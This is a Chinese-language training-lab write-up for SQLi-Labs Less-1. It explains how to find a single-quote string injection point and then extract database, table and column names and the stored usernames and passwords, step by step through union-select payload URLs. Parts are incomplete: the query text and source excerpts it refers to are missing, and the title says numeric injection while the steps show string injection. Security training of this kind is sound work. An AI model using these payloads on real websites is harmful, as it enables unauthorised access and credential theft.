实验目的
通过本实验理解数字型报错SQL注入漏洞点的定位方法,掌握利用手工方式完成一次完整SQL注入的过程,熟悉常见SQL注入命令的操作。
实验环境
渗透主机:KALI平台
目标网站:SQLI平台的Less-1科目
注意:将MySQL的版本调到5.5以上,因为这样数据库内才会有information_schema数据库。(实验镜像中已经调整)
实验原理
1.MySQL语言的注释语法:
– (这里有一个空格,–空格)在SQL内表示注释,但在URL中,如果在最后加上-- ,浏览器在发送请求的时候会把URL末尾的空格舍去,所以我们用–+代替-- ,原因是+在URL被URL编码后会变成空格。
2.Less-1源代码:
1)进入SQLI网站的源码路径
使用命令 vim index.php浏览Less-1所对应的网页源码
可以看到页面中显示:
在URL后面输入?id=1,得到了 登录名:Dumb,以及密码:Dumb
仔细阅读源码
得出结论:如果你输入不同的id值就会返回不同的结果,实际查询的语句是:
实验步骤
第一步 登录SQLI-Labs平台
第二步 登录Kali平台,启动Firefox浏览器访问SQLI-Labs的less-1
(1)在浏览器地址栏中输入http://【靶机IP】/Less-1/,访问SQLI-Labs的less-1。
(2)在上面的URL末端加上?id=1的动态参数,页面显示登录用户名Dumb、密码Dumb:
第三步 尝试判断是否存在SQL注入以及哪种注入类型
(1)经过语句and 1=2测试 ,页面回显正常,所以该地方不是数值查询。
(2)尝试在id后面加上’(单引号),发现页面回显不正常,表示可能存在SQL字符注入。
3)输入- -+将sql后面的语句注释掉后,页面回显正常,则证明是单引号字符型注入。
第四步 手工SQL注入获得数据库的用户名与密码
说明:本实验Kali平台的Firefox浏览器中已预安装Hackbar插件,可使用快捷键F12启用。后续的实验步骤中,可以选择在Hackbar中来执行,或者直接在浏览器的地址栏中执行。
(1)使用order by语句判断该表中一共有几列数据。order by 3页面回显正常,order by 4页面回显不正常,说明此表一共有3列。
所用的payload格式为:
http://【靶机IP】/Less-1/?id=1’ order by N - -+
(2)使用union select 1,2,3联合查询语句查看页面是否有显示位。发现页面先输出了2和3,说明页面有2个显示位。
所用的payload格式为:
http://【靶机IP】/Less-1/?id=1’ and 1=2 union select 1,2,3 - -+
(3)利用sql查询语句爆破出数据库内的数据库名。
所用的payload格式为:
http://【靶机IP】/Less-1/?id=1’ and 1=2 union select 1,group_concat(schema_name),3 from information_schema.schemata --+
(4)利用sql查询语句爆破出security数据库内的表名。
所用的payload格式为:
http://【靶机IP】/Less-1/?id=1’ and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘security’ --+
(5)利用sql查询语句爆破出users数据表内的列名。
所用的payload格式为:
http://【靶机IP】/Less-1/?id=1’ and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=’security’ and table_name=’users’ --+
(6)利用sql查询语句爆破出username、password列的值。
所用的payload格式为:
http://【靶机IP】/Less-1/?id=1’ and 1=2 union select 1,group_concat(username),
group_concat(password) from security.users --+
思考与总结
通过本次实验,成功实现了利用SQL注入漏洞的管理员帐户密码的获取,掌握了SQL注入漏洞的手工攻击方法,在此基础上可以深刻体会SQL注入漏洞的危害以及采取相关网络安全防护防御措施。